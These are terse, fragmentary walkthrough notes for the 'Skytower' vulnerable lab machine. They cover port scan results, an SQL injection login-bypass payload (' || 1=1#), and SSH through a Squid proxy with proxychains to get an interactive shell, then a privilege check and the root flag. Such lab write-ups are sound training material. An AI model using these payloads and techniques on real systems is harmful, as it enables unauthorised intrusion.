Skytower Walkthrough

Nmap scan:

Port Opened:

80

22(filtered) — → so using proxychains or proxytunnel

3128 -squid -this is proxy

‘

error:

This is MYSQL

Payload:

‘ || 1=1#

Username and password;

tail-shows the 10 lines

Other method: “proxytunnel” or” proxychain”

Reference:

not work

proxychains ssh sara@192.168.1.9 /bin/bash

Not work

Works

proxychains ssh sara@192.168.1.9 /bin/sh -i

check what are the permission : sudo -l

check inside the accounts

Root flag